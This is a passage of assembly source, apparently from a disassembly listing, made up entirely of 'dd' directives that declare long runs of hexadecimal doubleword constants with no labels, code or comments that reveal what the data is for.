		dd 0BF78FBFFh, 40A0BC67h, 0BEDCEA1Eh, 0C1C6400h, 447B1BABh
		dd 0D77A21h, 84DBD05h, 0DB06C79Ch, 98A30C2Fh, 489D9E84h
		dd 788024EAh, 0DDE32C25h, 1EDB2305h, 90A7A046h,	7915697Ah
		dd 82472090h, 8B4CB513h, 2958F482h, 277E0844h, 0DBB08702h
		dd 59198E38h, 0ECFA863Ch, 0BC0029B6h, 0A23B3584h, 0E254C764h
		dd 4E750A8Eh, 2AB17F8h,	52B923D3h, 0E04B04Ch, 0AFFBB29Dh
		dd 1CEE7CC8h, 40F12D11h, 0BB0AF765h, 0BA00411Ch, 27FEFA95h
		dd 9578D43Ch, 725F8899h, 0C4080004h, 149D59E8h,	0C1FE00DCh
		dd 3C627367h, 50BC5D37h, 0A4C3C1CEh, 0A47004D1h, 84109447h
		dd 829EF730h, 0E82B69F8h, 0BFDE300h, 0AFBABE53h, 0BB46B448h
		dd 110E7912h, 44502CF4h, 46844293h, 30FB2426h, 7B284878h
		dd 80DF0381h, 26E4B62Ch, 0BCE0CD98h, 8D1AFA0Bh,	0F9944C0Ch
		dd 0D1F28468h, 23A70320h, 0E99C1732h, 0F2E81390h, 383D03E8h
		dd 0FF3A0988h, 6482DAA4h, 0BC182BDDh, 0DC054A32h, 0BA4E7F1Eh
		dd 213B898h, 9C5B2E0Dh,	3CC23D2Ah, 0DD27782Eh, 3E405063h
		dd 7F2CC4E3h, 0DC230C9Dh, 0EAD8B909h, 1C84F980h, 981B412Eh
		dd 2FB0EF43h, 83B9EC70h, 49D8B4CBh, 0A40010E5h,	0EADBABD6h
		dd 0ADB9004Fh, 0DC537C9Ah, 0A01619B8h, 421F8403h, 96BB4D4Eh
		dd 5EE4D8h, 0F1124A37h,	0A0588378h, 5514E0Bh, 1C046006h
		dd 569B88B8h, 64400200h, 805D190Dh, 0C26609C0h,	0F0F9AF7Ah
		dd 81B73D00h, 90536D87h, 352B004Dh, 19E79C1h, 56EA8995h
		dd 0B1F71D2Fh, 5AEA05C8h, 0B9170374h, 1B428788h, 0C6F022h
		dd 0E9F6DA1h, 0A409BF83h, 31884901h, 83526A3h, 5F251427h
		dd 117954E8h, 5B010F02h, 0C0F72CB7h, 4AF0D730h,	0CCA0C9C1h
		dd 180011FEh, 8C822FF2h, 98E298Ah, 0A3D3EC4Eh, 0BA02406Ch
		dd 0D72B6B9Bh, 64707C8Eh, 46E75D7Bh, 0BAE31610h, 9FACF27Fh
		dd 0D3B9ECC0h, 1F31A489h, 0FA8134EAh, 7AD052h, 307C0A12h
		dd 89E136C0h, 0A925D5FEh, 2AA43917h, 68532D11h,	17A8A0E8h
		dd 0EF6B009Fh, 569A5F4Ch, 0D27D5BB9h, 0B223CF7Ah, 0F249123Ch
		dd 0F95480F4h, 0B8B91B90h, 3F072FEDh, 0F7DAC4C8h, 2129D0C0h
		dd 1D46FE13h, 56A0840Fh, 4864B634h, 3AD0C0ACh, 0FCE20Eh
		dd 0E1A36B02h, 8777FEACh, 8F0BF7ECh, 0F929D274h, 1E4501ACh
		dd 0E07D0C16h, 5902874Ah, 12657E81h, 0C49476A5h, 5E7CA41Dh
		dd 0F7007470h, 0AA98E8F3h, 1415623h, 87E16627h,	7E72B1B9h
		dd 65528020h, 94B0050h,	0C5B37496h, 0CA005F6Bh,	432DAAA1h
		dd 952414A5h, 0F645F439h, 0E4382D22h, 80953B7Ch, 0A39C0589h
		dd 90510842h, 0B03BAD00h, 0D91A73h, 7C0DA5A0h, 0DBFC9B6Ch
		dd 0BCF51105h, 44944452h, 751E58B2h, 0A881BBE7h, 49BF2128h
		dd 0EB5AE0A0h, 0D0030471h, 90B8A3DAh, 0E93138C6h, 0AF84BEBDh
		dd 0A9A11EE2h, 0B8BF8h,	6C358740h, 4EB927D4h, 2CB2289Ah
		dd 0B4FE446h, 0BEAD4861h, 0D6454808h, 0E00C202Fh, 0D001D58Ah
		dd 0D14C89AFh, 0D3E862E8h, 105701EDh, 514F3F79h, 188868F9h
		dd 0E239315Fh, 80C14A80h, 6DB4F7BEh, 0FCDBA900h, 9673CD56h
		dd 0D8694B3Bh, 4D76B89Ch, 0E80981C1h, 7C22EAAAh, 3A818D03h
		dd 2FE848A2h, 9900B57Ch, 933447E2h, 9F08837Fh, 0F56ACC00h
		dd 0BB44EAA9h, 0F8590022h, 98EC31C5h, 0B609AFA6h, 0D1A2D295h
		dd 0B4E4A738h, 2CBC7D00h, 58A0DE2Ah, 12E0B1h, 0E7BF72ABh
		dd 53AA9E1Ch, 165466E5h, 842C452Dh, 0D168005Fh,	12FC5F2h
		dd 8C16E727h, 5D1E4Ch, 1209447Eh, 0B34FF73h, 5C25F5C0h
		dd 9DC0D8A2h, 3C302926h, 0D7780Eh, 8549272h, 0D3B81675h
		dd 68550180h, 0EAF611E1h, 32F9A460h, 0D8A62F02h, 0C6A51691h
		dd 213F032Ch, 588F67BDh, 10C548D0h, 0B6E1B0Fh, 3D055F5Ah
		dd 34E65CD3h, 0C5182724h, 610CF070h, 8A002899h,	399D7348h
		dd 4147737h, 3E3D42D4h,	21B4FC05h, 0B33C406Bh, 0CA0043A8h
		dd 0DAEBFA71h, 43DE8968h, 2EF90B90h, 46FCC449h,	0AA097BE8h
		dd 73889D8Ah, 58E0A764h, 0BB050E1Dh, 0BEBA7296h, 5B0240F3h
		dd 0DD314509h, 6C5C60E2h, 7A1CC672h, 0B2930736h, 80FC23D2h
		dd 12FE09C5h, 98207716h, 311C3C04h, 0F3DA68B1h,	0FB2807Ch
		dd 1E08FFEDh, 3A396001h, 52456C2Ah, 292F7C27h, 6B21D011h
		dd 4B879A81h, 15ACAE0h,	0B030DC2Bh, 0FE49DA72h,	0DB4430C0h
		dd 1E9F6A12h, 0A067D8CDh, 30CC2727h, 50078302h,	5A0AD4Dh
		dd 0C1F8FDBBh, 7997B92Ah, 0F83759C5h, 0F8410314h, 0B9522D84h
		dd 83000BCh, 0C3317A9Ch, 0B0909501h, 65160BF9h,	0A8C858E6h
		dd 11DE0254h, 0C6414BC1h, 0E7E40056h, 35287420h, 21F8B195h
		dd 3E80802Ch, 5102418Ch, 6F002DF0h, 0E24CE964h,	4FE9220h
		dd 3D841252h, 0B714A033h, 4BD688h, 7DE98F46h, 0D0C0F4F7h
		dd 6FDE4101h, 7665A3F3h, 8984D830h, 0E0206F30h,	90BFA6Ah
		dd 0F71F4B7Eh, 70558E00h, 720B5A2Ah, 0B0A3C806h, 441D097Ch
		dd 0C20051B7h, 0BE3F2C80h, 3BA22217h, 0E1801F76h, 5E388AE6h
		dd 0A3097D6Dh, 0B974C15Ch, 270845D8h, 1DCB98Eh,	0E87F4729h
		dd 0CA5C7461h, 0B8229F81h, 80CC4C85h, 0C909E41Fh, 6E9A4605h
		dd 5C32A085h, 0C0E871A4h, 9E577EAAh, 4A52E209h,	46400061h
		dd 9F681D15h, 0B26AC810h, 0B0F7991Dh, 9B31FC02h, 44B76009h
		dd 0A7ECB3BCh, 0C0020890h, 2A913800h, 96CA7B80h, 91A870BFh
		dd 20628EC0h, 6FB9C2A3h, 3039FE81h, 722D9384h, 3E404409h
		dd 0B70077C9h, 8F85260Bh, 6D70B1E6h, 809E9238h,	7A59CADBh
		dd 230A1BDh, 0D6ABC3F8h, 0B155A510h, 303EBBC0h,	3B2E79D4h
		dd 66FC12B5h, 54433BFCh, 70D6DA00h, 0B568FB8Ch,	8AE92E01h
		dd 27CA4FC2h, 88A37C34h, 1093900Ah, 91015CA0h, 0A45B79BBh
		dd 32F45F67h, 15030082h, 698DE453h, 7E02491h, 0A1082E09h
		dd 0BC680431h, 90CB5440h, 0E47EC3E3h, 52171832h, 93AC4E0Bh
		dd 1AA28B6Ch, 0D0864022h, 5D60AC2Ah, 0E6E8F8h, 8D98A1AAh
		dd 563DB3FDh, 478B8A00h, 3965425Eh, 449490DEh, 3B22036Ch
		dd 889E0156h, 0B491372Bh, 8F382835h, 3FDA20C6h,	12B55D1Dh
		dd 0F1C59CCCh, 26F06418h, 809A2E74h, 4BDF183Eh,	204208C2h
		dd 0E8647FBEh, 0B181EA01h, 30266F6Ah, 0E610203Fh, 60317A5h
		dd 0DAF67442h, 85BB98CAh, 0F2B0A1h, 354EF3E9h, 0CB0EC86Ah
		dd 20F96898h, 0D12C7094h, 474270B0h, 7360E1F7h,	0F15C206Ah
		dd 0D43AB714h, 90A71F31h, 182F1680h, 9297046h, 7F95B8DFh
		dd 47D434A4h, 7E80EC47h, 96B08Eh, 2CD5F24Fh, 0F365014Dh
		dd 3967861Ch, 57DF6441h, 0CE2E51B8h, 214E2100h,	6B0A094h
		dd 0D2BD2A0Ch, 0E9201835h, 0BB4C0B0Fh, 0BCC81D08h, 31E22A20h
		dd 90FAB900h, 0CBCCC134h, 22A4B09Ch, 26784443h,	574E7E70h
		dd 0E65CF8D0h, 49710BE5h, 0D448FAECh, 94A1B5A4h, 40F4F22Dh
		dd 5F273440h, 0B1AB1306h, 9E6CE0BFh, 0A1B0FA50h, 0C8A9672Eh
		dd 6094EC20h, 5CEA6FC2h, 90460009h, 975451F0h, 4BE7E906h
		dd 3BD80869h, 0E74815C9h, 55220C4Ch, 0EB99C301h, 34F05960h
		dd 52B81420h, 344CA04Dh, 75F3C0DFh, 0BA81EBA9h,	0B89EFCACh
		dd 5CEA9E40h, 3FCE0078h, 0E748F771h, 0D3012B0Ah, 514E2E59h
		dd 442D4330h, 0E71EB822h, 0CF40069Bh, 0F1192085h, 0CC50772h
		dd 5509BFC8h, 2DE8C074h, 0B013FFEh, 344726A5h, 3C78EB78h
		dd 0E54BB917h, 0C8007A90h
		dd 16D32539h, 20E0F635h, 8B3312Fh, 14A44500h, 2CBD5h, 7A205583h
		dd 22BC5B2Bh, 0ACE8CF29h, 8C49D300h, 4BF512h, 0C6EA62Ah
		dd 5C86D5E5h, 8CB04190h, 9D2401F6h, 0F824A06Bh,	8C30E32Dh
		dd 1444A349h, 7900BB98h, 63B2170Dh, 18FA7F78h, 0EE46BD15h
		dd 65766F41h, 343E1090h, 90B40F0h, 5E08794Fh, 1058D8C1h
		dd 37BE1DDh, 794CAC3Fh,	200078E0h, 5CC90B6Fh, 1EE567E8h
		dd 40ECBC9Ah, 4462BD47h, 0C319C58Ch, 18199896h,	2C67A96h
		dd 0FDE628Ch, 0D0E29071h, 985A43E2h, 1CDD95h, 0DABB569Bh
		dd 5362E660h, 30BCE11Bh, 2CC5D898h, 4E71026Dh, 0D201E7F2h
		dd 0EA3088D2h, 474251C4h, 40331DE5h, 0E902092Fh, 0C694CC79h
		dd 0A82728F5h, 4962F78h, 87BDE888h, 1AA6C785h, 94F80097h
		dd 33A007BFh, 0D6A47104h, 0C0ACB9CFh, 4C82A189h, 2C58EE84h
		dd 4A284D22h, 0A14C830h, 0A0A68100h, 2C679A0Fh,	7C750080h
		dd 0DBB8B4F2h, 5F882F60h, 8599006Fh, 55C05779h,	7E002501h
		dd 41269E88h, 0FD05AE1h, 86A0DD9Ah, 70C3C127h, 0C98FF0C4h
		dd 0BA5B4D00h, 17E82BEDh, 529E88D2h, 4A834Ch, 93C51615h
		dd 9A97C8h, 77F4CFBAh, 565B94E9h, 0BC66D600h, 0B2269BC3h
		dd 0ECF5293Dh, 2CA430D0h, 950041E8h, 4F8D48FDh,	76AEACB6h
		dd 0E37909FBh, 30E426D0h, 0C1204900h, 0AA04F9C6h, 0C4E200D5h
		dd 0A3A0F481h, 120F25DAh, 0E0CFC935h, 2A3AE978h, 0C401500Dh
		dd 5F8B043h, 0D1ADC270h, 0DCE0073Fh, 6803C8F0h,	0AA654D03h
		dd 80585E1Dh, 0B9ECDFE3h, 2E00AC36h, 40730755h,	45BEE7h
		dd 6E2A4388h, 28800DE8h, 0C44CEB00h, 0F75EA59Ch, 769200D9h
		dd 8685D4Bh, 442402FCh,	57421446h, 0EA871BDh, 0C1E0B184h
		dd 868D678Ah, 8F764C00h, 34F647EBh, 0ECA57E6Ah,	467724ADh
		dd 0C4592584h, 250FEA08h, 780A5441h, 0CAAA8738h, 0C25BD1A0h
		dd 0F4420013h, 0BCCDF615h, 0C6E078F8h, 0D85C3924h, 0B7242C04h
		dd 0BA135340h, 3CB10ED7h, 25000AEh, 237A390Fh, 611D8382h
		dd 28DC268Dh, 3503C1C0h, 0AD012625h, 71681F98h,	39E82998h
		dd 80473FACh, 0F4EB8A97h, 1F20E6FFh, 699895h, 0E12AC36Bh
		dd 350756A7h, 30296C08h, 68A08149h, 40A95F65h, 444608C0h
		dd 42012787h, 7C1905B0h, 0F555000Dh, 0FF6CC52Bh, 0CA05794h
		dd 0E495492Fh, 94243B8h, 5EC5C22Dh, 0F6C04EDCh,	156FE685h
		dd 0AF231414h, 3033001Ch, 836247F5h, 45423EBCh,	5D11E97h
		dd 0CCA15758h, 9BFC3500h, 56FA900h, 0D3810CF4h,	0F0F10168h
		dd 0C4CA239Eh, 63C3C555h, 4C2D12ECh, 99FECACh, 0E8D6CDA0h
		dd 8F2C8049h, 22505C7h,	1E3E6DDBh, 2C416A27h, 0E8C4F446h
		dd 0E30E50ECh, 697290BAh, 50D85ED6h, 2B1F9859h,	81F9EFE5h
		dd 0FD0C9E58h, 90664194h, 5C7C025Ah, 7C5CB0B4h,	422FDB60h
		dd 0D9DF002Dh, 0A1E2A7ECh, 7C3F2AF0h, 1290CC45h, 0A0B58594h
		dd 88155C20h, 0F0986A21h, 24463C26h, 0F060D424h, 415CA1h
		dd 68ADABF2h, 0F3EE2283h, 0F1D2101h, 29496164h,	0F4DE9E02h
		dd 0F0B0D843h, 1DF29C23h, 0F4DECBh, 6D3520A7h, 0EE134E85h
		dd 582015E7h, 71C52644h, 0D2B1AD5h, 0A44608BDh,	0DC73F101h
		dd 740C08C6h, 2EB2FDCh,	0AE37E2F6h, 90751C62h, 720D11Ch
		dd 99DFC970h, 0ECDA5087h, 2E7D3504h, 8D0044F6h,	0E582C60Fh
		dd 5E9C2Bh, 58A7C4C7h, 9BB811AEh, 71C89995h, 57004832h
		dd 9F113AE5h, 0C05C95B8h, 0BD46C00Ch, 90295B39h, 30874C88h
		dd 32680F73h, 0E5009861h, 466B0ECBh, 19881F31h,	282BC2BAh
		dd 0F700E174h, 46B8A747h, 3E32F864h, 5F308642h,	4045922Ah
		dd 0C8D3232Fh, 3C614F30h, 0A4005057h, 0A5544E6Ah, 0BD17499Eh
		dd 74D01C6Eh, 4B48C1h, 0C6D52B70h, 7DB9FBAh, 35895402h
		dd 60C1612Fh, 25EB582h,	5BA3BDC9h, 0AC516C9Eh, 0A98D8B3Bh
		dd 0B63E00A1h, 0DF57Fh,	0F86D8496h, 0A3CECB61h,	4F2D680Bh
		dd 8EBCF9D1h, 0EF2729Fh, 38214028h, 10C59147h, 5D21846h
		dd 0FD779D4Bh, 97B4C8ECh, 6FFC8C02h, 0C0A8C314h, 0DDF03h
		dd 0AC04EEA5h, 0D02127CDh, 0BA7F9503h, 0C806360Bh, 57527Ch
		dd 72B1460Ah, 0A0378044h, 23471D0Fh, 7B05127Bh,	64F3BEBAh
		dd 54664D7Ah, 46F64720h, 4788768Ah, 731C7014h, 3D1CAD83h
		dd 0E9C02586h, 2AB8DE27h, 0D2AB008Eh, 4ACBBD12h, 0D559BA57h
		dd 8CC8D2C0h, 2667AB5h,	8C152378h, 2C5151B8h, 44382F0Bh
		dd 0FBC0F76Ch, 82885BC7h, 642BD1B4h, 0FC420098h, 0A4DC9008h
		dd 1D00E877h, 5B4FE0E5h, 0C1BBC27h, 300A111Ah, 0E4976A39h
		dd 977E1F40h, 31C4F0E7h, 0C0085A2h, 689F2665h, 0EEBF183Ch
		dd 3C68BC29h, 0A44870C4h, 0F0084168h, 0D2284C14h, 4E4C9C3Dh
		dd 73293B24h, 0B4F88197h, 0FC7127E4h, 760C613Fh, 318B21A4h
		dd 42C40C8Ch, 7B5C54A8h, 0C0F83A48h, 638DCE2Ah,	0D2C700CBh
		dd 0AEB74FCFh, 0C0269A54h, 500454B4h, 40A5C547h, 22F74042h
		dd 945D4103h, 0AFC200B8h, 673066E0h, 0CA3CC351h, 0BFBAF1h
		dd 86612ECDh, 27C0EAh, 0A36CD4D7h, 0FA18924Ch, 0BCB00AF2h
		dd 6A131A0Bh, 12DCC63Eh, 34C746Dh, 0D185C1C0h, 719ED5F3h
		dd 669DB87Dh, 244624F4h, 0C0404480h, 62D51A28h,	0C7B4014Ch
		dd 7CA0038Ch, 0ECF2BBh,	502C7D95h, 1A067475h, 0EBC7ED0h
		dd 0A935403Dh, 15A8198Eh, 204B502h, 2680B8FCh, 43AF322Eh
		dd 38B8689Fh, 0C8B95BD2h, 23E19E68h, 0C1E48080h, 983A8427h
		dd 0D92B00E1h, 0E9420B73h, 0E004C96Fh, 0CBF8E8C3h, 73C67888h
		dd 30575892h, 6A98DCA4h, 250FE021h, 571A0490h, 3C09E707h
		dd 0CA43B84Dh, 8214DDE4h, 74285E98h, 4DC603EFh,	985D21C2h
		dd 7CB40B80h, 1D952200h, 6D86A35h, 7802B52Dh, 0D4515484h
		dd 68CA5204h, 2000CC51h, 5453C46Fh, 4D542F08h, 0C81AB058h
		dd 34802A6h, 224337E8h,	503F3489h, 6200F7BDh, 0E4F0783Fh
		dd 3C179DE1h, 0A901DF82h, 0A4FC4C64h, 0A15C2C74h, 91CC592h
		dd 0B64C7309h, 0E4D90Fh, 63CE230Ch, 0DC00A9A0h,	0F4348DA3h
		dd 6502F88Bh, 9699142h,	213F5h,	0C0814F2Bh, 80BFEA9Eh
		dd 0E4FF8961h, 7751A51Ch, 7263138Ah, 15D8205Ch,	0BD2CBA8Bh
		dd 0B744FC2Ch, 0A4490E43h, 0C41FADC8h, 0B100AE72h, 84471B30h
		dd 120FEF1Ah, 14C11Dh, 9295264Dh, 0D6FABC8Ch, 81F9A369h
		dd 16E7EBF4h, 8B544608h, 0BA807F7Ch, 0FE82FB9h,	7879904Ah
		dd 2C884340h, 0BBF0025h, 148026DEh, 3600F1B9h, 75D38315h
		dd 95E349DCh, 0B7757864h, 1D762800h, 443BC33Fh,	0AC7E0E9Fh
		dd 4093AFA3h, 0B3BD13D8h, 58918352h, 0D193C101h, 98A46741h
		dd 0EEB6048h, 0BF002105h, 7B825487h, 998B588h, 7FCA318h
		dd 0C61160D4h, 0A138804Ch, 84993D2Fh, 88B07235h, 0EC0D80C0h
		dd 0CD926855h, 740BA9E4h, 12CC5BAh, 8252B030h, 8905052h
		dd 9CC4449Ch, 0B98B3BE4h, 243A4DB8h, 3408FB28h,	9521C568h
		dd 80783740h, 41E02875h, 8B26A402h, 5FF3D444h, 59C95086h
		dd 0B7B54609h, 0A3EE082Ch, 5551C718h, 0C30724DFh, 36940D30h
		dd 0F746068h, 0BCE82988h, 0A1208040h, 0DFF37D0Ch, 5513B200h
		dd 0BEB63FE2h, 0BD4702DAh, 0F7C98259h, 93E2BC78h, 793AA404h
		dd 0CA80DD8Bh, 1E7EC508h, 52F7E7AAh, 3F08E202h,	0DCBCA9A3h
		dd 0A6801D80h, 38769357h, 27C3D54h, 0A37CF28h, 925F6A4Eh
		dd 0C0E4CCh, 0AD8CBE54h, 0A803770Ah, 34BFA903h,	8346923Ah
		dd 25313F4Bh
		dd 0C426E70Ah, 0C64742B8h, 0ADCDC29h, 0A1308272h, 95B809D4h
		dd 5420B46Ah, 2BC2AB24h, 6E64C300h, 99D9D5EFh, 0FDF67426h
		dd 0F944D440h, 0DC308168h, 0CEEB86Eh, 1E4060BEh, 4A9989h
		dd 860BE5AAh, 0ED6AC64Dh, 0A5D82E05h, 30E0CCCDh, 61AC00B9h
		dd 133F2956h, 195019Fh,	555DB3C4h, 79B4FC47h, 1EA48Ch
		dd 0BB31BE0Fh, 0FB1663A6h, 64D6C800h, 2E93B9F1h, 44D8964Fh
		dd 0E13B30E8h, 0BCA1B74Ch, 3A0FE9D6h, 26A3C9Ch,	0F1046F61h
		dd 3C5E2748h, 80E9A140h, 0CE9B0002h, 4932EB59h,	5C48C437h
		dd 74D90D04h, 372F59A2h, 0BA2C2050h, 0FC0075C3h, 0E7CFB304h
		dd 0E633BB18h, 21460055h, 541CD3Ah, 2B000D68h, 98C4722Dh
		dd 2FE4D1DBh, 0D820ECDAh, 6F4276B7h, 0E07F1600h, 3B195A5Bh
		dd 5C1158CAh, 0BEC89448h, 0E38DC280h, 0A11E21h,	0AB52DD92h
		dd 3BFBD94Ch, 0BE1358BEh, 5EF200F8h, 2B10848Dh,	7D838420h
		dd 211E0081h, 8BCBFEE3h, 0AD0A5BB2h, 148954F5h,	0FA24E481h
		dd 97E0B937h, 36A77CEh,	9B63C0DCh, 70056CBFh, 0CBA5044Eh
		dd 25409427h, 58FE443Fh, 1F8010ECh, 7B7656E0h, 40741D03h
		dd 0B3914EC3h, 815F8A71h, 69932A50h, 0AAFC882Ah, 21CA500h
		dd 582DCFCCh, 0A06E788Bh, 74DDF74h, 0BDFAE659h,	4AE282FDh
		dd 230020D8h, 37D6C0AAh, 17090FB4h, 911C9899h, 0FC3B0388h
		dd 510035E4h, 86C30F63h, 5AAF04FBh, 3A18C8CDh, 0C5DE361Fh
		dd 286532C1h, 44233B2Eh, 26054621h, 0E0C207CAh,	6E202F28h
		dd 68BB02E8h, 634E3000h, 0F6A367ACh, 0FE2A003Ah, 5D0D1A48h
		dd 0C5002C1Dh, 29D1019Dh, 95399FBDh, 2A5A1898h,	0F9E19C1Fh
		dd 0A91CC83h, 0EFEDA01Ah, 8E8D00D2h, 1390525Fh,	0E305A993h
		dd 0C52444A4h, 0B07264B0h, 0C375BF8h, 0DAB9D144h, 0CC77409h
		dd 7B20825Eh, 7178E672h, 2EBC0EF9h, 4B2087B8h, 0A7CCE55Eh
		dd 5A65B907h, 0C0FBE844h, 0B5AA45FCh, 0B61E246Eh, 6F802441h
		dd 14598F8Bh, 3D5B009Ch, 0C52A811Eh, 0A207C45Ch, 152BA340h
		dd 30AE3140h, 271200ADh, 58619276h, 944C41D2h, 842C0043h
		dd 0BE84E6Bh, 0C34600A4h, 0CC96F3F5h, 781FC4E2h, 0E02F6D93h
		dd 1E310DE8h, 0C0C83082h, 0CCA505BFh, 0D72CB9D0h, 9542F8EBh
		dd 3F712068h, 1C244E91h, 67179C33h, 16318DCh, 0AF783721h
		dd 0FCF76874h, 98173A5Ch, 2B12C643h, 0F0304C8Ch, 3270E06h
		dd 39E052Ah, 0FD452E74h, 4CA2714Ah, 8EE5BD00h, 0B4BC25B3h
		dd 2C114C00h, 0FB392B22h, 53A50367h, 87D9563h, 1219A1B0h
		dd 8F1E9C3Fh, 0A028764Fh, 0BEC7DE82h, 2E9890D7h, 517BFD1h
		dd 0C36991F5h, 0FDB8AB78h, 0C694038h, 4070DE98h, 43AED31Ch
		dd 0A62D6A00h, 5B4A8EF5h, 0F4109787h, 0F81EE537h, 80BCAB39h
		dd 90DBB86Bh, 23A31A4h,	47B7F3E0h, 40D962D5h, 1B4C00A7h
		dd 7B267080h, 10AFBD03h, 185CA452h, 0E045498h, 1D08E6CAh
		dd 3DAF8E4h, 0C3BB0FE4h, 94883447h, 0AD005988h,	0FC8B2884h
		dd 2F255CCBh, 3CE4442Eh, 62BD0805h, 30C4CEC6h, 288034ACh
		dd 905CBFEAh, 3F2C2100h, 0DD16B2D5h, 48F5E4D8h,	0E0733F67h
		dd 94C5000Eh, 1475BAEEh, 0B3162B3Eh, 810B9732h,	28D080A8h
		dd 3A6D54h, 0E8339464h,	43D0F31Ah, 364E9F1Fh, 1FA26A4Eh
		dd 6C452Fh, 9CE35B6Ch, 7F38DD51h, 0BF28365h, 0E9239B81h
		dd 54F5B90Dh, 0C8F0547Eh, 6EB0414Eh, 0D34B4630h, 0E657017h
		dd 0B90B3C00h, 0E0AB208Ch, 0A8B4444h, 2B3DF700h, 0E071FE6Bh
		dd 1BA300C4h, 4D1654FBh, 90009D58h, 0F4461ACBh,	62D97F7h
		dd 79E113FEh, 0BB0B4005h, 902A2BDDh, 97CB43F4h,	0C7E56418h
		dd 19504B00h, 3790B621h, 5BC301F3h, 6E254579h, 14C04CBCh
		dd 0CAAFBA27h, 5C905714h, 2201FF1Bh, 0C714097Ah, 21C8F1F0h
		dd 84160075h, 990AB7BCh, 0ED1B0E3Dh, 227859C2h,	0A20CC648h
		dd 183DE8EAh, 0A7C45B70h, 0ECFC0AE4h, 0A83FCBEh, 9824F5E1h
		dd 9940438h, 50D47D2Dh,	0A053EC0Bh, 9A40231Fh, 0E6A72CB7h
		dd 89F609h, 0B5997C54h,	8E047129h, 746FCC00h, 94C30B5Eh
		dd 811400FBh, 9CBFEE6Ch, 0A25AD395h, 0DC2070C4h, 0CE3630h
		dd 3328D527h, 0A381629Eh, 0C264600h, 0E90A8967h, 35371602h
		dd 5EF0940h, 305AE450h,	13CC88h, 5325388Dh, 0B1940611h
		dd 0B004E095h, 0E9F09ECDh, 2F974B00h, 0CB2A5731h, 449AE00Bh
		dd 9016EE4Ah, 0E9219CE6h, 95805390h, 0D45DCAABh, 52102EF6h
		dd 1D0367E5h, 0C04FF12h, 0EC00D9E7h, 35D97A7h, 4C7D4004h
		dd 40F0A554h, 0D9EC966Fh, 805C3830h, 0BBF80620h, 26F4072Dh
		dd 0C086986Ah, 581E33CEh, 4C91E112h, 0F4EDEC13h, 51C93C88h
		dd 5FBC28h, 0DBB90974h,	3309A491h, 58B701D7h, 6040915Ch
		dd 7E406D62h, 4C46DA04h, 0D0E5F29Ch, 320DA2Ah, 2BD5C4B6h
		dd 2610705Dh, 42F82F3Eh, 0C892546h, 6D618000h, 0CFECCA44h
		dd 659C3Eh, 2D011440h, 755BFAh,	42A5A3D6h, 11E83A2Ah, 4510CA2h
		dd 2E85B307h, 3109D60h,	961E00BEh, 0BA77D1D4h, 0E697D2BBh
		dd 0C4264A8Ch, 0A420EE2Ch, 3C4E3A25h, 0F001F1F3h, 0F734E1D3h
		dd 0D10070C4h, 0C898713h, 4F0098CAh, 822941C1h,	0C2244EB8h
		dd 9D50C43Eh, 74442D64h, 6B8BC8EBh, 784001DAh, 0BCB14188h
		dd 8009B90Eh, 7619FCEAh, 0CF26054Dh, 40C29843h,	121561D8h
		dd 350103B2h, 470185F9h, 0A86877B5h, 48B90A0Ah,	0C9D69040h
		dd 1871E6h, 42656E95h, 0E00DB1Dh, 151B8BB6h, 0F4888681h
		dd 0E26400CDh, 465661D4h, 8D00FAEBh, 36E8A3A5h,	584559B6h
		dd 6019090h, 68A61557h,	9F160126h, 3727460h, 0A50C4EA4h
		dd 0BEBC9E2Ah, 0AE719820h, 0C8420086h, 7E6DFBE1h, 3132ECD8h
		dd 0F9D7B141h, 0C9040ACh, 6B002236h, 1C52BC8Bh,	1410595Ah
		dd 0E80FE8BFh, 9E980097h, 1A281F46h, 74070D0Eh,	624D01A4h
		dd 0B02290C4h, 575A4F04h, 6AC08050h, 0A430FC4Eh, 0B69B89Eh
		dd 3010B527h, 4A00030Ch, 0B953AD63h, 0E0FECF68h, 0FC983C8Dh
		dd 50089C7Dh, 0D00893Ah, 0F2F099ABh, 0FE6147B1h, 0CB2F0091h
		dd 0EEC83DC9h, 989F88FEh, 0F94B80h, 60CD2C3h, 0B9D1DCB8h
		dd 156DC216h, 868010F9h, 0C0D87A61h, 0DAE2B001h, 2DE33805h
		dd 4448BC61h, 318703C3h, 15C6E511h, 40AFC4D9h, 0D5BA3608h
		dd 80944597h, 6B2A0409h, 6700A1F3h, 2E3FCD53h, 0F029F715h
		dd 0AA210B4Bh, 0EC90D603h, 285C1368h, 8B16C0C4h, 7BA87F4Bh
		dd 1254008Fh, 266C37FAh, 0E501E49Ch, 9B14C30h, 0CC68B0AEh
		dd 3E435182h, 2A9B7002h, 85C02189h, 0BA9ED47Fh,	0C73F9021h
		dd 783C2BD8h, 0D1434FB0h, 112E446Ch, 4980CF36h,	0E35896FDh
		dd 0D81F16CDh, 0E0A5F8A2h, 0E8881324h, 0A849164Fh, 808CA95Ch
		dd 29195208h, 91A0F32h,	61E2639Eh, 145C6CA5h, 6648D2E7h
		dd 0C4A158FAh, 9E6C34FEh, 63CA6D18h, 27674030h,	404617E5h
		dd 6884B811h, 0D580743Eh, 0DE779D94h, 7A2ED909h, 50074CFEh
		dd 4A0D708h, 0BE7CB98h,	0AEAF850Dh, 0B252C80h, 51504D0Ch
		dd 2AE3B964h, 7E5028h, 187016F0h, 10071E4Eh, 0F8B76C1Ch
		dd 0A9036FAEh, 0F42E89C2h, 3C21C4B2h, 51C50B01h, 94527608h
		dd 50B92756h, 23424CC0h, 2598BE00h, 19E145CAh, 908CBA08h
		dd 9E110BF8h, 84E4359Dh, 0DC25F600h, 58E02D6Eh,	21700D3h
		dd 0CE2211ADh, 0BF2C9D3Dh, 0FD007F33h, 0D0E37276h, 52834AB9h
		dd 324334Ch, 0C75A9690h, 43656704h, 0A4D137EDh,	9833CC9Eh
		dd 0B24BE04Ch
		dd 47A38094h, 13664049h, 17BA44F1h, 0A088CA4h, 34C80D5Fh
		dd 499800A3h, 86899E74h, 0E000124h, 1C4699A0h, 66CA3Fh
		dd 2A5B4F67h, 27B8E5C4h, 9143CB1Fh, 0EC2D3200h,	7E44C3F5h
		dd 1B9F25DAh, 900BD821h, 0F44FE8A6h, 61B4B21Dh,	22603140h
		dd 1648394Ah, 0C0E3FD0Fh, 0A9BCF978h, 9897CE4Eh, 0FFDCF249h
		dd 0B00D4C60h, 7E4716DCh, 0FE00901Bh, 9013215h,	9C0F9459h
		dd 2AE8F345h, 90737C97h, 2C4F0BCEh, 4800D70Ch, 5E4CB843h
		dd 0E880A894h, 0A4704ABDh, 68482FDCh, 7EC2C468h, 58B81540h
		dd 21DF3447h, 3C54A101h, 496ED9D8h, 0B4D4D0DCh,	75FDF62h
